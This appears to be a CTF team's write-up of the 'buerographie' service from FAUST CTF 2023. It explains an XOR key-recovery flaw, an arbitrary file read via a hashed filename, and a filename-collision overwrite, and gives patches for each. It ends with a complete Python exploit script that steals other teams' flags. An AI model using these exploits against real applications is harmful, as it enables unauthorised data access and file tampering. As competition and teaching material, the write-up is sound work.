Rating:

The app had (at least :D) two exploits and also two flag storages. The checker would upload two flags each round.

* Flag Store 1: The public message "Your message to the world"
* Flag Store 2: The uploaded file "Upload your personal office supply"

# Flag Store 1

The flag is stored in the database. Before that, it is encrypted using a simple XOR.

```js
function blockencrypt(msg, key, len) {
var encmsg = [];
for (var i = 0; i < len; i++) {
encmsg.push(msg[i] ^ key[i]);
}
return Buffer.from(encmsg);
}

// ...

var keyBuffer = crypto.pbkdf2Sync(result[0].password, 'salt', 10, len, 'sha256');
var msg_id = crypto.randomBytes(len);
var msg = (new TextEncoder()).encode(req.body.message);
var encmsgid = blockencrypt(keyBuffer, msg_id, len);
var encmsg = blockencrypt(keyBuffer, msg, len);
msg = encmsg.toString('hex') + msg_id.toString('hex') + encmsgid.toString('hex');
sql = `update stafftbl set message = ? where username = ?`;
db.query(sql, [msg, user], (req, result) => { ...
```

We can retrieve any message in its encrypted form through the endpoint `/staff/message/<username>`. We can grab a set
of valid usernames from the attack data for this service.

Luckily for us, the crypto is flawed and allows recovery of the key.

## Reverting the cipher

The encrypted message consists of three parts of equal length: `encmsg`, `msg_id` and `encmsgid`.

* `encmsg` is the result of the `msg` (the flag) XOR'ed with `keyBuffer`. `keyBuffer` is derived from the user-password using `pbkdf2Sync`. We assume this is safe.
* `msg_id` is random bytes.
* `encmsgid` is the `msg_id` XOR'ed with `keyBuffer`.

We have two components of the last XOR operation, `encmsgid` and `msg_id`. That means we can reverse this operation. `encmsgid XOR msg_id` results in `keyBuffer`. Having `keyBuffer` allows us to reverse the operation on `encmsg` as well.

## Baking it into python

(Not shown: Register & Login, complete DestructiveFarm-Script at the end)

```py
def split(list_a, chunk_size):
# from https://www.programiz.com/python-programming/examples/list-chunks
for i in range(0, len(list_a), chunk_size):
yield list_a[i:i + chunk_size]

def blockencrypt(inp: bytes, key: bytes):
assert len(inp) == len(key)
return bytes([i ^ k for i, k in zip(inp, key)])

class Exploit:
...
def get_message(self, username):
print("Get Message", username)
response = self.session.get(f"{self.base_url}/staff/message/{username}")
message = response.json()['message']

encmsg, msg_id, encmsgid = split(message, int(len(message) / 3))

bencmsg = bytes.fromhex(encmsg)
bmsg_id = bytes.fromhex(msg_id)
bencmsgid = bytes.fromhex(encmsgid)

keyBuffer = blockencrypt(bencmsgid, bmsg_id)
original = blockencrypt(bencmsg, keyBuffer)

return original.decode()
```

## Fix it

We had no clue what the checker would check for. We tried restricting the public message of a user to be only available
to that user. That did not make the checker happy.

In the end, we replaced the `msg_id` part of the stored message with another set of random bytes.

```js
var keyBuffer = crypto.pbkdf2Sync(result[0].password, 'salt', 10, len, 'sha256');
var msg_id = crypto.randomBytes(len);

var msg = (new TextEncoder()).encode(req.body.message);
var encmsgid = blockencrypt(keyBuffer, msg_id, len);
var encmsg = blockencrypt(keyBuffer, msg, len);

var fake_msg_id = crypto.randomBytes(len);
msg = encmsg.toString('hex') + fake_msg_id.toString('hex') + encmsgid.toString('hex');
```

Checker was happy and we weren't losing any more flags.

# Flag Store 2

The site allows you to upload a file. The file is placed on the disk in plain text. You can only upload one file. The
file can be retrieved through the /staff/supply/<filenameOnDisk> endpoint. The file upload is managed by `multer`.
`multer` also handles the filename on disk.

```js
const storage = multer.diskStorage({
destination: (req, file, cb) => {
cb(null, 'uploads');
},
filename: (req, file, cb) => {
var newname = crypto.createHash('sha1').update(req.session.user + file.originalname).digest('hex');
cb(null, newname);
}
});
```

The `/staff/supply/:fn`-endpoint delivers us the uploaded file. The relevant code is shown below. It is first checked
if the user has uploaded a file. If not, an error is shown. If yes, the file is sent.

```javascript
app.get('/staff/supply/:fn', (req, res) => {
var fn = '/app/uploads/' + req.params.fn;
var user = req.session.user;
console.log('Get staff supply: ' + fn);
var sql = `select supplyname from supplytbl where username = ?`;
db.query(sql, [user], (err, result) => {
if(err) {
console.log('Get staff supply: ' + err.message);
res.status(500).send({'status': 'null'});
} else if (result.length == 0) {
console.log('Get staff supply: supply empty');
res.status(404).send({'status': 'supply not found'});
} else {
res.setHeader('Content-Type', 'text/plain');
res.status(200).sendFile(fn);
}
});
});
```

## Arbitrary file read

Take a look at the sql query. It will return a row once you uploaded a file for the **currently logged-in** user.
Getting at least one row here will bring us directly to the `else` block where the
file of the **other** user is being returned instead of our file. The security flaw is that the returned file is not
based on the query result but rather solely on an HTTP request query parameter.

We can download any file, we just need to know the filename. `multer` combines username and original filename into a
sha1 hash. Luckily, we get the username and the filename from the attack data for this service.

Assembling this is simple. We can use python for that and include it in our exploit script.

```python
def calc_hash(username, filename):
return hashlib.sha1(username.encode('utf-8') + filename.encode('utf8')).hexdigest()

class Exploit:
...

def get_file(self, thehash):
print("Get File", thehash)
# print("Trying", f"{self.base_url}/staff/supply/{thehash}")
response = self.session.get(f"{self.base_url}/staff/supply/{thehash}")
print("Got file", response.text)
return response.text
```

## Plug the hole

Our fix restricted the access to the file to the user it belongs to. We only changed the `sendFile` line.

```javascript
var newname = crypto.createHash('sha1').update(req.session.user + result[0].supplyname).digest('hex');
res.status(200).sendFile('/app/uploads/' + newname);
```

As a result, the endpoint would not return the requested file, but the file belonging to the logged-in user instead.

Another option would have been to calculate a hash of the filename (`supplyname`) from the database and compare that
to the filename from the HTTP request query parameter. That would also allow returning a proper error. We opted for
confusion instead :P

# Bonus: Denial of Service

We only learned this after the CTF, but it's still worth mentioning. The file storage was prone to a denial of service
attack. This means you can overwrite arbitrary files and therefore remove or corrupt flags of other teams, lowering
their SLA and preventing other teams from getting flags.

```javascript
var newname = crypto.createHash('sha1').update(req.session.user + file.originalname).digest('hex');
```

The vulnerability is a filename collision from the expression `req.session.user + file.originalname`. We, as an attacker,
control both parts of this expression. Therefore, we can produce any string by choosing username and filename correctly.

## Example

The CTF checker registers an account named `checker01`. It then uploads a file named `flag01`. Concatting results in
`checker01flag01` and hashing produces the hash `ca72450a57a74aac795b74471ef98dfa3a5c0e5a`.

Now the attacker comes along. The attacker knows both username and filename of the user. The attacker chooses
`checker01fl` as username and `ag01` as filename. Concatting results in `checker01flag01` and hashing produces
`ca72450a57a74aac795b74471ef98dfa3a5c0e5a`.

The javascript code does not check whenever a file exists or not. It just overrides it.

## Potential fix

We didn't find it during the CTF, so we don't know if this fix really worked with the checker.

The obvious fix here is to check whenever the file is existing or not. In a real world scenario, this would still lead
not be sufficient as users could still trigger a collision accidentally, resulting in a failed file upload.

Another way would be to "harden" the hash/filename, so it is truly unique. In general, we need an Element that is not
controllable by the user. The user id should work here. However, inserting it into the hash still leaves little room
for collision if the checker username starts with a number.

```js
const storage = multer.diskStorage({
destination: (req, file, cb) => {
cb(null, 'uploads');
},
filename: (req, file, cb) => {
var newname = crypto.createHash('sha1').update(req.session.staffid + req.session.user + file.originalname).digest('hex');
cb(null, newname);
}
});
```

Another option would be to add the id in the front, before hashing. This part is not controllable by the user, however,
if the indention behind hashing username and filename was to anonymize the files, we have essentially defeated that
purpose.

Of course, this is not really relevant in a CTF. But it would be, if this were a real application.

```js
const storage = multer.diskStorage({
destination: (req, file, cb) => {
cb(null, 'uploads');
},
filename: (req, file, cb) => {
var newname = req.session.staffid + "_" + crypto.createHash('sha1').update(req.session.user + file.originalname).digest('hex');
cb(null, newname);
}
});
```

The user id is not present in the session by default. We need to insert it by changing the login-route.

```javascript
app.post('/login', (req, res, next) => {
const user = req.body.user;
const pass = req.body.pass;

if (user == undefined || pass == undefined) {
console.log('Login failed: empty')
return res.status(400).send({'status': 'empty username or password'})
}

// CHANGE: Insert staffid in query to return data from DB
var sql = `select staffid, username, password from stafftbl where username = ?`;
db.query(sql, [user], (err, result) => {
if (err) {
console.log('Post login failed: ' + err.message)
return res.status(500).send({'status': 'null'});
}

if (result.length != 1) {
console.log('Post login failed: none or multi user')
return res.status(401).send({'status': 'Login failed'});
}

if (user == result[0].username && pass == result[0].password) {
req.session.regenerate((err) => {
if (err) next(err);
req.session.user = user;
// CHANGE: Store staffid in session
req.session.staffid = result[0].staffid;
console.log('Post login session: ' + JSON.stringify(req.session));
req.session.save((err) => {
if (err)
return next(err)
console.log('Post login succeeded: ' + user);
res.redirect('/staff');
});
});
} else if (user == result.username && pass != result.password) {
console.log('Post login failed: wrong password')
return res.status(401).send({'status': 'null'});
} else {
console.log('Post login failed: TODO')
return res.status(401).send({'status': 'null'});
}
});
});
```

# Full exploit in DestructiveFarm

(Not shown: Our `faust` module. Returns attack-data for given service and team, manages local cache of file to reduce
load on infra.)

Wrapping it up, we need to:

1. Register a new account
2. Login to the new account
3. Upload a file
4. Attack flag store 1
1. Retrieve the secret with the username in the attack data
2. Revert the XOR to get the plaintext flag
5. Attack flag store 2
1. Calculate the file hash from the username and the filename in the attack data
2. Download the file

```python
#!/usr/bin/env python3

import json

import requests
import faust
import hashlib
import sys

from argparse import ArgumentParser

from typing import List, Tuple
import random
import string

def split(list_a, chunk_size):
for i in range(0, len(list_a), chunk_size):
yield list_a[i:i + chunk_size]

def blockencrypt(inp: bytes, key: bytes):
assert len(inp) == len(key)
return bytes([i ^ k for i, k in zip(inp, key)])

class Exploit:

def __init__(self, host, port, username):
self.session = requests.Session()
self.base_url = f"http://{host}:{port}"
self.username = username

def register(self, username, password):
print("Register")
resp = self.session.post(f"{self.base_url}/register", data={
"user": username,
"pass": password,
"pass2": password,
"submit": "sign up"
})

# assert resp.status_code == 200

def login(self, username, password):
print("Login")
resp = self.session.post(f"{self.base_url}/login", data={
"user": username,
"pass": password,
"submit": "login"
})

assert resp.status_code == 200

def upload_any_file(self):
print("Upload")
resp = self.session.post(
f"{self.base_url}/staff/supply",
files={
'supply': ('buerofile.txt', open('buerofile.txt', "rb"))
}
)

# assert resp.status_code == 200

def get_file(self, thehash):
print("Get File", thehash)
# print("Trying", f"{self.base_url}/staff/supply/{thehash}")
response = self.session.get(f"{self.base_url}/staff/supply/{thehash}")
print("Got file", response.text)
return response.text

def get_message(self, username):
print("Get Message", username)
response = self.session.get(f"{self.base_url}/staff/message/{username}")
message = response.json()['message']

encmsg, msg_id, encmsgid = split(message, int(len(message) / 3))

bencmsg = bytes.fromhex(encmsg)
bmsg_id = bytes.fromhex(msg_id)
bencmsgid = bytes.fromhex(encmsgid)

keyBuffer = blockencrypt(bencmsgid, bmsg_id)
original = blockencrypt(bencmsg, keyBuffer)

return original.decode()

def run_exploit(self, users: List[str], hashes: List[str]):
username = self.username
password = get_random_string(12)

self.register(username, password)
self.login(username, password)
self.upload_any_file()

fileflags = [self.get_file(thehash) for thehash in hashes]
messageflags = [self.get_message(user) for user in users]

return fileflags + messageflags

def get_random_string(length):
return ''.join(random.choice(string.ascii_letters) for _ in range(length))

def calc_hash(username, filename):
return hashlib.sha1(username.encode('utf-8') + filename.encode('utf8')).hexdigest()

if __name__ == "__main__":
parser = ArgumentParser("hacx")
parser.add_argument("host", default="[fd66:666:964::2]", nargs="?")
args = parser.parse_args()

host = args.host
port = 13731

data = faust.get_service_data(faust.get_team_from_host(host), "buerographie")

ignored_teams = [
"[fd66:666:1::2]"
"[fd66:666:964::2]"
]

if host in ignored_teams:
print("Host is patched, we ignore it", file=sys.stderr, flush=True)
exit(0)

hashes = []
users = []
for round in data:
round_data = json.loads(round)
hashes.append(calc_hash(round_data['username'], round_data['supplyname']))
users.append(round_data['username'])

# We used usernames from our own attack data to blend in with the rest
ourdata = json.loads(next(iter(faust.get_service_data(964, 'buerographie'))))
username = ourdata["username"]

exploit = Exploit(host, port, username)
flags = exploit.run_exploit(users, hashes)
for flag in flags:
print(flag)
```

Original writeup (https://zeroflagsinc.gitlab.io/burografie-faust-ctf-2023.html).